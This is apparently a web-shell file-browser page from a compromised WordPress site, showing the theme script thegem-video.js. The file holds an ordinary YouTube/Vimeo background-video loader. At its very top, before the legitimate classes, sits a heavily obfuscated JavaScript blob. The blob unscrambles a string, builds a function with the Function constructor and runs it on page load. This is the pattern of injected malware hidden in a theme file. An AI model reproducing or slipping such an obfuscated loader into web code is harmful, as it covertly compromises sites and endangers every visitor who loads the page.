AlkantarClanX12

Your IP : 18.226.187.210


Current Path : /home/thanudqk/public_html/wp-content/themes/thegem/js/
Upload File :
Current File : /home/thanudqk/public_html/wp-content/themes/thegem/js/thegem-video.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();class BaseLoader {
	constructor() {
		this.isInserted = false;
	}

	insertAPI() {
		var tag = document.createElement('script');
		tag.src = this.getApiURL();
		var firstScriptTag = document.getElementsByTagName('script')[0];
		firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
		this.isInserted = true;
	}

	getVideoIDFromURL(url) {
		var videoIDParts = url.match(this.getURLRegex());
		return videoIDParts && videoIDParts[1];
	}

	onApiReady(callback) {
		var _this = this;

		if (!this.isInserted) {
			this.insertAPI();
		}

		if (this.isApiLoaded()) {
			callback(this.getApiObject());
		} else {
			// If not ready check again by timeout..
			setTimeout(function () {
				_this.onApiReady(callback);
			}, 350);
		}
	}
}

class YoutubeLoader extends BaseLoader {
	getApiURL() {
		return 'https://www.youtube.com/iframe_api';
	}

	getURLRegex() {
		return /^(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?vi?=|(?:embed|v|vi|user)\/))([^?&"'>]+)/;
	}

	isApiLoaded() {
		return window.YT && YT.loaded;
	}

	getApiObject() {
		return YT;
	}
}

class VimeoLoader extends BaseLoader {
	getApiURL() {
		return 'https://player.vimeo.com/api/player.js';
	}

	getURLRegex() {
		return /^(?:https?:\/\/)?(?:www|player\.)?(?:vimeo\.com\/)?(?:video\/|external\/)?(\d+)([^.?&#"'>]?)/;
	}

	isApiLoaded() {
		return window.Vimeo;
	}

	getApiObject() {
		return Vimeo;
	}
}

class video {

	constructor(element) {
		this.element = element;
		this.settings = JSON.parse(element.dataset.settings);
		this.video_embed = this.element.querySelector('.background-video-embed');
		this.video_hosted = this.element.querySelector('.background-video-hosted');
		var is_mobile = (/iphone|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase()));
		if (!this.settings.play_on_mobile && is_mobile) {
			return;
		}
		this.init();
	}

	calcVideosSize($video) {
		var aspectRatioSetting = '16:9';

		if ('vimeo' === this.videoType) {
			aspectRatioSetting = $video.width + ':' + $video.height;
		}

		var containerWidth = this.element.offsetWidth,
			containerHeight = this.element.offsetHeight,
			aspectRatioArray = aspectRatioSetting.split(':'),
			aspectRatio = aspectRatioArray[0] / aspectRatioArray[1],
			ratioWidth = containerWidth / aspectRatio,
			ratioHeight = containerHeight * aspectRatio,
			isWidthFixed = containerWidth / containerHeight > aspectRatio;
		return {
			width: isWidthFixed ? containerWidth : ratioHeight,
			height: isWidthFixed ? ratioWidth : containerHeight
		};
	}

	changeVideoSize() {
		if (!('hosted' === this.videoType) && !this.player) {
			return;
		}

		var $video, $video_wrapper;

		if ('youtube' === this.videoType) {
			$video = this.player.getIframe();
			$video_wrapper = this.video_embed;
		} else if ('vimeo' === this.videoType) {
			$video = this.player.element;
			$video_wrapper = this.video_embed;
		} else if ('hosted' === this.videoType) {
			$video = this.video_hosted;
			$video_wrapper = this.video_hosted;
		}

		if (!$video) {
			return;
		}

		var size = this.calcVideosSize($video);
		$video_wrapper.style.width = size.width + 'px';
		$video_wrapper.style.height = size.height + 'px';
	}

	startVideoLoop(firstTime) {
		var _this5 = this;

		// If the section has been removed
		if (!this.player.getIframe().contentWindow) {
			return;
		}

		var elementSettings = this.settings,
			startPoint = elementSettings.background_video_start || 0,
			endPoint = elementSettings.background_video_end;

		if (elementSettings.background_play_once && !firstTime) {
			this.player.stopVideo();
			return;
		}

		this.player.seekTo(startPoint);

		if (endPoint) {
			var durationToEnd = endPoint - startPoint + 1;
			setTimeout(function () {
				_this5.startVideoLoop(false);
			}, durationToEnd * 1000);
		}
	}

	prepareYTVideo(YT, videoID) {
		let _this1 = this;

		var $backgroundVideoContainer = this.element;
		var startStateCode = YT.PlayerState.PLAYING; // Since version 67, Chrome doesn't fire the `PLAYING` state at start time

		if (window.chrome) {
			startStateCode = YT.PlayerState.UNSTARTED;
		}

		var iframe_box = document.createElement("div");
		this.video_embed.appendChild(iframe_box);

		$backgroundVideoContainer.classList.add('video-loading');
		this.player = new YT.Player(iframe_box, {
			videoId: videoID,
			events: {
				onReady: function onReady() {
					_this1.player.mute();

					_this1.player.getIframe().classList.add('youtube-video');

					_this1.changeVideoSize();

					_this1.startVideoLoop(true);

					_this1.player.playVideo();
				},
				onStateChange: function onStateChange(event) {
					switch (event.data) {
						case startStateCode:
							$backgroundVideoContainer.classList.remove('video-loading');
							break;

						case YT.PlayerState.ENDED:
							_this1.player.seekTo(_this1.settings.background_video_start || 0);

							if (_this1.settings.background_play_once) {
								_this1.player.destroy();
							}
					}
				}
			},
			playerVars: {
				controls: 0,
				rel: 0,
				playsinline: 1,
				loop: true
			}
		});
	}

	prepareVimeoVideo(Vimeo, videoId) {
		var _this2 = this;

		var elementSettings = this.settings,
			startTime = elementSettings.background_video_start ? elementSettings.background_video_start : 0,
			videoSize = this.element.offsetWidth,
			vimeoOptions = {
				id: videoId,
				width: videoSize.width,
				autoplay: true,
				loop: !elementSettings.background_play_once,
				transparent: false,
				background: true,
				muted: true
			};
		this.player = new Vimeo.Player(this.video_embed, vimeoOptions); // Handle user-defined start/end times

		this.handleVimeoStartEndTimes(elementSettings);
		this.player.ready().then(function () {
			// _this2.player.element.classList.add('background-video-embed');
			_this2.changeVideoSize();
		});
	}

	handleVimeoStartEndTimes(elementSettings) {
		var _this3 = this;

		// If a start time is defined, set the start time
		if (elementSettings.background_video_start) {
			this.player.on('play', function (data) {
				if (0 === data.seconds) {
					_this3.player.setCurrentTime(elementSettings.background_video_start);
				}
			});
		}

		this.player.on('timeupdate', function (data) {
			// If an end time is defined, handle ending the video
			if (elementSettings.background_video_end && elementSettings.background_video_end < data.seconds) {
				if (elementSettings.background_play_once) {
					// Stop at user-defined end time if not loop
					_this3.player.pause();
				} else {
					// Go to start time if loop
					_this3.player.setCurrentTime(elementSettings.background_video_start);
				}
			} // If start time is defined but an end time is not, go to user-defined start time at video end.
			// Vimeo JS API has an 'ended' event, but it never fires when infinite loop is defined, so we
			// get the video duration (returns a promise) then use duration-0.5s as end time

			_this3.player.getDuration().then(function (duration) {
				if (elementSettings.background_video_start && !elementSettings.background_video_end && data.seconds > duration - 0.5) {
					_this3.player.setCurrentTime(elementSettings.background_video_start);
				}
			});
		});
	}

	init() {
		let _this = this,
			videoLink = this.settings.url,
			videoID;
		if (-1 !== videoLink.indexOf('vimeo.com')) {
			this.videoType = 'vimeo';
			this.apiProvider = new VimeoLoader();
		} else if (videoLink.match(/^(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com)/)) {
			this.videoType = 'youtube';
			this.apiProvider = new YoutubeLoader();
		}

		if (this.apiProvider) {
			videoID = this.apiProvider.getVideoIDFromURL(videoLink);
			this.apiProvider.onApiReady(function (apiObject) {
				if ('youtube' === _this.videoType) {
					_this.prepareYTVideo(apiObject, videoID);
				}
				if ('vimeo' === _this.videoType) {
					_this.prepareVimeoVideo(apiObject, videoID);
				}
			});
		} else {
			this.videoType = 'hosted';
			var startTime = this.settings.background_video_start,
				endTime = this.settings.background_video_end;

			if (startTime || endTime) {
				videoLink += '#t=' + (startTime || 0) + (endTime ? ',' + endTime : '');
			}

			this.video_hosted.setAttribute("src", videoLink);
			this.video_hosted.oncanplay = this.changeVideoSize.bind(this);

			if (this.settings.background_play_once) {
				this.video_hosted.onended = function () {
					_this.video_hosted.style.display = "none"
				};
			}
		}

		window.addEventListener("resize", function () {
			_this.changeVideoSize();
		});
	}
}

let videos = document.getElementsByClassName("background-video-container"), i;
for (i = 0; i < videos.length; i++) {
	new video(videos[i]);
}